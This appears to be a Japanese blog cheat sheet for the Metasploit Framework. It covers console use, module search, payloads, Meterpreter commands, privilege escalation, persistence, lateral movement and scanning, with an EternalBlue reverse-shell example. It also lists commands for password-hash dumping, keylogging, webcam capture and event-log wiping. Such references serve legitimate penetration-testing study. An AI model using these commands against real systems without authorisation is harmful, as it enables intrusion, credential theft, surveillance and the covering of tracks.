Metasploit Framework チートシート

目的別 Metasploit コマンド & モジュール活用ガイド

1. msfconsole の起動と基本操作

Metasploit Framework の主要なインターフェースである msfconsole の起動方法と基本的なコマンドです。

コマンド説明備考
msfconsoleMetasploit コンソールを起動します。最も基本的な起動コマンド。
msfconsole -qバナーを表示せずに静かに起動します。スクリプト実行時などに便利。
msfconsole -r <resource_file.rc>指定したリソースファイル(一連のコマンドが書かれたファイル)を実行して起動します。自動化に役立ちます。
help または ?利用可能なコマンドの一覧を表示します。
help <command>特定のコマンドの詳細なヘルプを表示します。例: help search
versionMetasploit Framework のバージョン情報を表示します。
bannermsfconsole のバナーを再表示します。
exit または quitmsfconsole を終了します。
spool <filename>コンソールの出力を指定したファイルに記録開始します。証跡取得に。spool off で停止。
historyコマンド履歴を表示します。
!OSのシェルコマンドを実行します。例: !ls -la

2. モジュールの検索と選択

目的の Exploit、Auxiliary、Payload などを検索し、利用するモジュールを選択します。

コマンド説明検索例
search <keyword>キーワードに一致するモジュールを検索します。search smb, search eternalblue
search type:<type> <keyword>特定のタイプのモジュールを検索します。search type:exploit windows smb
search platform:<platform> <keyword>特定のプラットフォーム向けのモジュールを検索します。search platform:linux ssh
search author:<author_name>特定の作者が作成したモジュールを検索します。search author:hdmoore
search cve:<year>-<number>特定のCVE番号に関連するモジュールを検索します。search cve:2017-0144
search name:<name>モジュール名に含まれるキーワードで検索します。search name:ms17_010
search rank:<rank_name>特定のランク(信頼性)のモジュールを検索します (excellent, great, good, normal, average, low, manual)。search rank:excellent smb
use <module_name>指定したモジュールを選択し、コンテキストをそのモジュールに切り替えます。use exploit/windows/smb/ms17_010_eternalblue
info または show info現在選択中のモジュールの詳細情報を表示します (説明、オプション、ターゲット、参考文献など)。モジュール選択後に実行。
show options現在選択中のモジュールの設定可能なオプションを表示します。必須項目 (Required=yes) を確認。
show targetsExploit モジュールが対応するターゲットシステムの一覧を表示します。特定のOSバージョンなどを指定。
show payloads現在の Exploit モジュールと互換性のある Payload の一覧を表示します。
show advanced高度なオプションを表示します。
show evasion回避(Evasion)オプションを表示します (対応モジュールのみ)。
back現在のモジュールコンテキストから抜け、トップレベルに戻ります。

3. モジュールオプションの設定

選択したモジュールを実行するために必要なパラメータ(オプション)を設定します。

コマンド説明
set <OptionName> <Value>指定したオプションに値を設定します。set RHOSTS 192.168.1.10
setg <OptionName> <Value>グローバル変数としてオプションを設定します。異なるモジュール間でも値が保持されます。setg RHOSTS 192.168.1.0/24
unset <OptionName>指定したオプションの設定を解除します。unset RHOSTS
unsetg <OptionName>指定したグローバル変数の設定を解除します。unsetg RHOSTS
save現在の設定(グローバル変数など)を保存します。次回起動時に読み込まれます。設定は `~/.msf4/config` に保存されます。

主要なオプション

オプション名説明対象モジュール
RHOSTSターゲット(リモートホスト)のIPアドレスまたはホスト名。単一、範囲指定 (1.1.1.1-1.1.1.254)、CIDR指定 (1.1.1.0/24)、ファイル指定 (file:/path/to/hosts.txt) が可能。Exploit, Auxiliary, Post など多数
RPORTターゲットのポート番号。Exploit, Auxiliary など多数
LHOST攻撃者側(Metasploitが動作しているマシン)のIPアドレス。リバースシェルなどで接続を受け付けるIP。Payload (Reverse Shell), Exploit (一部)
LPORT攻撃者側(Metasploitが動作しているマシン)のポート番号。リバースシェルなどで接続を受け付けるポート。Payload (Reverse Shell), Exploit (一部)
PAYLOADExploit成功後にターゲット上で実行するペイロードモジュールを指定します。Exploit
TARGETExploitモジュールが対象とするターゲットシステムのタイプ(OSやアプリケーションのバージョンなど)。show targets で確認。Exploit
SESSION既に確立されているセッションを指定して実行する場合に使用します。Post, Auxiliary (一部)
THREADSスキャンなどを実行する際のスレッド数。Auxiliary (Scanner系), Exploit (一部)
USERNAME, PASSWORD認証が必要なサービスに対するユーザー名とパスワード。Auxiliary (login, bruteforce系), Exploit (一部)
USER_FILE, PASS_FILEユーザー名リスト、パスワードリストのファイルパス。ブルートフォース攻撃で使用。Auxiliary (login, bruteforce系)
Proxiesプロキシサーバーを指定します (例: socks4:127.0.0.1:9050)。多くのモジュール
VERBOSE詳細な実行ログを出力します (true/false)。多くのモジュール

4. Exploit と Payload の実行

設定したモジュール(Exploit)を実行し、成功すれば Payload を送り込みます。

コマンド説明
exploit または run現在選択、設定されている Exploit または Auxiliary モジュールを実行します。
exploit -jモジュールをバックグラウンドジョブとして実行します。
exploit -z実行後、セッションが確立してもすぐには操作せず、バックグラウンドで待機させます。
checkターゲットが選択中の Exploit に対して脆弱かどうかを確認します(Exploit を実行せずにチェック)。対応しているモジュールのみ有効。

代表的な Payload の種類

タイプ説明
Singles単一の自己完結型ペイロード。ステージャーを必要としない。サイズが大きい傾向がある。windows/shell_bind_tcp, linux/x64/exec
Stagers小さなペイロードで、ターゲット上で実行されると攻撃者のマシンに接続し、より大きな Stage ペイロードをダウンロードして実行する。ファイアウォールを通過しやすい。windows/meterpreter/reverse_tcpreverse_tcp 部分
StagesStager によってダウンロードされる、より機能豊富なペイロード。Meterpreter など。windows/meterpreter/reverse_tcpmeterpreter 部分
Inline (Non-Staged)Singles と同じ。一つの塊で完結しているペイロード。windows/x64/meterpreter_bind_tcp
Meterpreter高度な機能を持つペイロード。メモリ内で動作し、ファイルシステムへの書き込みを最小限に抑える。拡張性が高い。windows/meterpreter/reverse_tcp, php/meterpreter/reverse_tcp, java/meterpreter/reverse_tcp
PassiveXActiveX を利用して通信するペイロード。特定の環境で有効。windows/meterpreter/reverse_passivex_http
NoNXNXビット(実行不可メモリ保護)をバイパスするためのペイロード。特定の Exploit で利用されることがある
OrdWindows で序数(Ordinal)ベースで API を解決するペイロード。windows/shell/bind_ord_tcp
IPv6IPv6 環境用のペイロード。windows/meterpreter/reverse_ipv6_tcp
Reflective DLL InjectionDLL をディスクに書き込まずにメモリにロードして実行する技術を用いたペイロード。Meterpreter の内部動作などで利用
Command Shellターゲットシステムの標準的なコマンドシェルへのアクセスを提供するペイロード。windows/shell/reverse_tcp, linux/x86/shell_bind_tcp

ペイロードの選択は、ターゲット環境、ネットワーク状況、目的(シェルアクセス、高度な操作など)に応じて行います。

# 例: EternalBlue Exploit に Meterpreter Reverse TCP Payload を設定
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.50 # 攻撃者のIP
LHOST => 192.168.1.50
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit 

5. セッション管理

Exploit 成功後に確立されたセッション(Meterpreter や Shell)を管理します。

コマンド (msfconsole)説明
sessions または sessions -l現在アクティブなセッションの一覧を表示します。
sessions -i <session_id>指定した ID のセッションと対話を開始します。
sessions -k <session_id>指定した ID のセッションを終了します。
sessions -Kすべてのアクティブなセッションを終了します。
sessions -u <session_id>指定したセッションを Meterpreter セッションにアップグレードしようと試みます (シェルセッションの場合)。
sessions -c <command> -i <session_id>指定したセッションで OS コマンドを実行します。
sessions -s <script> -i <session_id>指定したセッションで Meterpreter スクリプトを実行します。
Ctrl + Z現在のセッションとの対話を中断し、バックグラウンドに移します (msfconsole に戻る)。
bg(Meterpreter プロンプト内で) 現在の Meterpreter セッションをバックグラウンドに移します。

6. Meterpreter 基本コマンド

Meterpreter セッション内で使用できる基本的なコマンドです。

これらのコマンドは meterpreter > プロンプト内で実行します。
コマンド説明
help または ?Meterpreter で利用可能なコマンド一覧を表示します。
background または bg現在の Meterpreter セッションをバックグラウンドに移動し、msfconsole に戻ります。
exit または quit現在の Meterpreter セッションを終了します。
sysinfoターゲットシステムの情報(OS、アーキテクチャなど)を表示します。
pwd (または getwd)現在のターゲット上のディレクトリを表示します。
cd <directory>ターゲット上のディレクトリを変更します。
ls現在のディレクトリ内のファイルやフォルダを一覧表示します。
upload <local_path> <remote_path>攻撃者のマシンからターゲットへファイルをアップロードします。
download <remote_path> <local_path>ターゲットから攻撃者のマシンへファイルをダウンロードします。
cat <file>ターゲット上のテキストファイルの内容を表示します。
edit <file>ターゲット上のファイルを編集します(ローカルの `vi` などを使用)。
mkdir <directory>ターゲット上にディレクトリを作成します。
rmdir <directory>ターゲット上の空のディレクトリを削除します。
rm <file>ターゲット上のファイルを削除します。
search -f <pattern> [-d <directory>] [-r]ターゲット上のファイルを検索します。`-d` で検索開始ディレクトリ指定、`-r` で再帰的に検索。
execute -f <executable> [-a <arguments>] [-H] [-i]ターゲット上で実行可能ファイルを実行します。`-H` で非表示、`-i` で対話的に実行。
shellターゲットシステムの標準的なコマンドシェルを起動します。
psターゲット上で実行中のプロセス一覧を表示します。
kill <pid>指定したプロセスIDのプロセスを終了させます。
migrate <pid>Meterpreter セッションを別のプロセスに移行します。永続化や権限昇格の準備に。
getpidMeterpreter が現在動作しているプロセスの ID を表示します。
getuid現在のユーザーIDを表示します。
ipconfig / ifconfigターゲットのネットワークインターフェース情報を表示します。
routeターゲットのルーティングテーブルを表示します。
portfwd add -l <local_port> -p <remote_port> -r <remote_ip>ポートフォワーディングを設定します。攻撃者マシンからターゲット内部の別ホストへアクセスする際に使用。
portfwd list / portfwd delete -R <rule_id>ポートフォワーディングのルールを表示/削除します。
screenshotターゲットのデスクトップスクリーンショットを取得します。
webcam_list / webcam_snap / webcam_streamWeb カメラを操作します(リスト表示、静止画取得、動画ストリーミング)。
keyscan_start / keyscan_dump / keyscan_stopキーストロークを記録します。
getsystemSYSTEM 権限への昇格を試みます(Windows)。複数のテクニックを使用。
hashdumpWindows の SAM データベースからパスワードハッシュをダンプします(SYSTEM 権限が必要)。
run <script_name> [options]Meterpreter スクリプト(旧形式)または Post モジュールを実行します。
load <extension>Meterpreter 拡張機能(`stdapi`, `priv`, `kiwi` など)をロードします。
use <extension>ロード済みの拡張機能のコンテキストに切り替えます (例: `use kiwi`)。
irbRuby の対話的実行環境 (IRB) を起動し、Meterpreter API を直接操作できます。
clearevターゲットのイベントログ(システム、セキュリティ、アプリケーション)をクリアします(痕跡削除)。

7. 権限昇格 (Privilege Escalation)

取得したセッションの権限を昇格させるための手法です。

Meterpreter コマンド

コマンド説明プラットフォーム
getsystem複数の手法を試行し、Windows で SYSTEM 権限を取得しようとします。Windows

Post モジュール (権限昇格)

モジュールタイプ主な目的検索例
post/windows/escalate/*Windows 環境での権限昇格 Exploit や手法を実行します。search type:post platform:windows escalate
post/linux/escalate/*Linux 環境での権限昇格 Exploit や手法を実行します。search type:post platform:linux escalate
post/multi/recon/local_exploit_suggesterターゲットシステムをスキャンし、適用可能なローカル権限昇格 Exploit (Metasploit モジュール) を提案します。use post/multi/recon/local_exploit_suggester

一般的な手順

  1. 現在の権限を確認 (getuid)。
  2. local_exploit_suggester を実行して、利用可能な権限昇格モジュールがないか確認。
    # msfconsole プロンプトから
    msf6 > use post/multi/recon/local_exploit_suggester
    msf6 post(multi/recon/local_exploit_suggester) > set SESSION <session_id>
    SESSION => 1
    msf6 post(multi/recon/local_exploit_suggester) > run 
  3. 提案された Exploit モジュール (例: `exploit/windows/local/…`) を利用する。
  4. (Windows の場合) Meterpreter セッション内で getsystem を試す。
  5. 権限昇格に成功したら、再度 getuid で確認。SYSTEM や root になっていれば成功。

8. Post-Exploitation (侵入後の活動)

セッション確立後に行う情報収集、横展開、永続化などの活動です。

情報収集 (Reconnaissance)

モジュール/コマンド説明プラットフォーム
run post/windows/gather/checkvmターゲットが仮想マシン環境かどうかをチェックします。Windows
run post/windows/gather/enum_applicationsインストールされているアプリケーションの一覧を取得します。Windows
run post/windows/gather/enum_patches適用されているパッチ(KB)の一覧を取得します。Windows
run post/multi/gather/env環境変数を表示します。Multi
run post/windows/gather/enum_shares共有フォルダの一覧を取得します。Windows
run post/windows/gather/credentials/windows_autologin自動ログオン設定の資格情報を取得します。Windows
run post/multi/gather/ssh_credsSSH の秘密鍵や設定ファイルなどから資格情報を探します。Multi (Linux, macOS)
run post/windows/gather/enum_logged_on_users現在ログオンしている、または最近ログオンしたユーザーの一覧を取得します。Windows
(Meterpreter) ps, ipconfig, route基本的なシステム情報、ネットワーク情報を収集します。Multi
(Meterpreter) hashdumpSAM からパスワードハッシュを取得 (SYSTEM 権限)。Windows
(Meterpreter) load kiwi -> creds_allKiwi (Mimikatz) をロードし、メモリから平文パスワードやハッシュなどを取得。Windows

永続化 (Persistence)

モジュール/コマンド説明プラットフォーム
run persistence -U -i <interval> -p <port> -r <lhost>(Meterpreter スクリプト) ユーザーレベルで永続化を設定 (レジストリ Run キー)。指定間隔でリバース接続を試みる。Windows
run persistence -X -i <interval> -p <port> -r <lhost>(Meterpreter スクリプト) システムレベルで永続化を設定 (サービスとして登録)。起動時にリバース接続を試みる。要 SYSTEM 権限。Windows
run exploit/windows/local/persistence_service(Post モジュール) サービスとしてペイロードを登録し永続化します。より詳細な設定が可能。Windows
run post/linux/manage/ssh_authorization指定した SSH 公開鍵をターゲットの authorized_keys に追加します。Linux

横展開 (Lateral Movement)

モジュール/手法説明プラットフォーム
auxiliary/scanner/smb/smb_login取得した認証情報を使って、他の Windows マシンへの SMB ログインを試みます。Windows
exploit/windows/smb/psexec取得した認証情報(ハッシュまたはパスワード)を使って、他の Windows マシンで任意のコマンドやペイロードを実行します。Windows
exploit/windows/smb/psexec_pshPowerShell を利用する Psexec。Windows
auxiliary/server/socks_proxyMetasploit を SOCKS プロキシサーバーとして動作させ、侵入したマシンを踏み台にして内部ネットワークの他のホストへアクセスします (ProxyChains などと連携)。Multi
(Meterpreter) portfwd特定のポートをフォワーディングし、内部サービスへアクセスします。Multi
(Meterpreter) run autoroute -s <subnet>侵入したマシン経由でアクセス可能な内部ネットワークへのルーティング情報を msfconsole に追加します。これにより、他の Exploit/Auxiliary モジュールが内部ネットワークのホストを直接ターゲットに指定できるようになります。Multi
auxiliary/scanner/ssh/ssh_login取得した認証情報を使って、他の Linux/Unix マシンへの SSH ログインを試みます。Linux/Unix

9. Auxiliary モジュール活用

Exploit 以外の補助的な機能を提供するモジュール群です。情報収集、スキャン、サービス特定、DoS 攻撃などに利用されます。

モジュールカテゴリ主な目的代表的なモジュール例
auxiliary/scanner/portscan/*ポートスキャンを実行します。TCP SYN スキャン、TCP Connect スキャンなど。tcp, syn, ack, ftpbounce
auxiliary/scanner/discovery/*ネットワーク上のホストやサービスを発見します。ARP スキャン、UDP プローブなど。arp_sweep, udp_sweep, udp_probe
auxiliary/scanner/<service>/*特定のサービス (SMB, SSH, FTP, HTTP, SNMP など) の情報を収集したり、脆弱性をスキャンしたりします。smb/smb_version, ssh/ssh_version, snmp/snmp_enum, http/title
auxiliary/scanner/smb/smb_loginSMB サービスの認証情報(ユーザー名/パスワード)をテスト(ブルートフォース)します。smb_login
auxiliary/scanner/ssh/ssh_loginSSH サービスの認証情報(ユーザー名/パスワード/鍵)をテスト(ブルートフォース)します。ssh_login
auxiliary/scanner/ftp/ftp_loginFTP サービスの認証情報をテストします。ftp_login
auxiliary/scanner/http/dir_scannerWeb サーバー上のディレクトリやファイルを探索します。dir_scanner, files_dir
auxiliary/scanner/http/optionsWeb サーバーの HTTP OPTIONS メソッドを調査します。options
auxiliary/server/*特定のサービス(FTP, HTTP, TFTP など)を模倣するサーバーを起動します。フィッシングやペイロード配信に利用。capture/ftp, browser_autopwn, socks_proxy
auxiliary/dos/*サービス妨害(DoS)攻撃を試みます。注意して使用する必要があります。tcp/synflood, smb/smb_loop
auxiliary/gather/*公開情報や特定のソースから情報を収集します。DNS 情報、メールアドレス、Whois 情報など。dns_enum, search_email_collector
auxiliary/admin/<service>/*特定のサービスの管理機能を操作します。mssql/mssql_exec
auxiliary/fuzzers/*プロトコルやアプリケーションに予期しないデータを送信し、脆弱性を発見しようとします(ファジング)。smb/smb_loris
auxiliary/sniffers/*ネットワークトラフィックを傍受します。psnuffle (パスワードスニッフィング)
# 例: SMB バージョンスキャン
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf6 auxiliary(scanner/smb/smb_version) > set THREADS 20
THREADS => 20
msf6 auxiliary(scanner/smb/smb_version) > run 

10. データベース連携

スキャン結果やホスト情報、認証情報などをデータベースに保存し、効率的に管理します。

Metasploit は PostgreSQL データベースとの連携をサポートしています。事前にデータベースの設定が必要です (`msfdb init`)。
コマンド説明
db_statusデータベースへの接続状態を確認します。
db_connectデータベースに接続します(設定ファイルがある場合)。
db_disconnectデータベースから切断します。
db_rebuild_cacheモジュールキャッシュを再構築します(検索高速化のため)。
workspace現在のワークスペースを表示します。
workspace -a <name>新しいワークスペースを作成し、切り替えます。
workspace -d <name>指定したワークスペースを削除します。
workspace <name>指定したワークスペースに切り替えます。
db_import <filename>Nmap, Nessus などのスキャン結果ファイルをインポートします。
db_export -f <format> <filename>データベースの内容を指定したフォーマット (xml, pwdump, csv) でエクスポートします。
hostsデータベースに登録されているホストの一覧を表示します。
hosts -c <column1,column2,...>表示する列を指定します。
hosts -S <search_term>ホスト情報を検索します。
servicesデータベースに登録されているサービス(ポート、プロトコル)の一覧を表示します。
services -p <port1,port2,...>特定のポートでフィルタリングします。
services -s <service1,service2,...>特定のサービス名でフィルタリングします。
vulnsデータベースに登録されている脆弱性の一覧を表示します。
credsデータベースに登録されている認証情報(ユーザー名/パスワード/ハッシュ)の一覧を表示します。
lootデータベースに登録されている取得物(ファイル、データなど)の一覧を表示します。
db_nmap <nmap_options>Nmap を実行し、結果を直接データベースにインポートします。
notesホストやサービスに関連付けられたメモを表示、追加、削除します。

11. その他便利な機能

Metasploit Framework のその他の便利なコマンドや機能です。

コマンド/機能説明
jobsバックグラウンドで実行中のジョブ(Exploit や Auxiliary)の一覧を表示します。
jobs -k <job_id>指定した ID のジョブを停止します。
kill <job_id>(jobs -k と同等) ジョブを停止します。
makerc <filename.rc>現在の msfconsole の設定(set/setg された変数)をリソースファイルに保存します。
resource <filename.rc>指定したリソースファイルを実行します。
loadpath </path/to/custom/modules>カスタムモジュールが格納されているディレクトリをロードパスに追加します。
reload_allすべてのモジュールをリロードします。カスタムモジュールを追加した後などに使用。
connect <ip_address> <port>指定した IP アドレスとポートに TCP 接続を試みます(Netcat のような機能)。-u で UDP。
setg Proxies <type>:<host>:<port>SOCKS4/SOCKS5/HTTP プロキシを設定します。例: setg Proxies socks5:127.0.0.1:9050
grep <pattern> <command>指定したコマンドの出力からパターンに一致する行をフィルタリングします。例: grep ssh show auxiliary
edit(モジュールコンテキスト内で) 現在選択中のモジュールのソースコードをエディタで開きます ($EDITOR 環境変数を使用)。

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です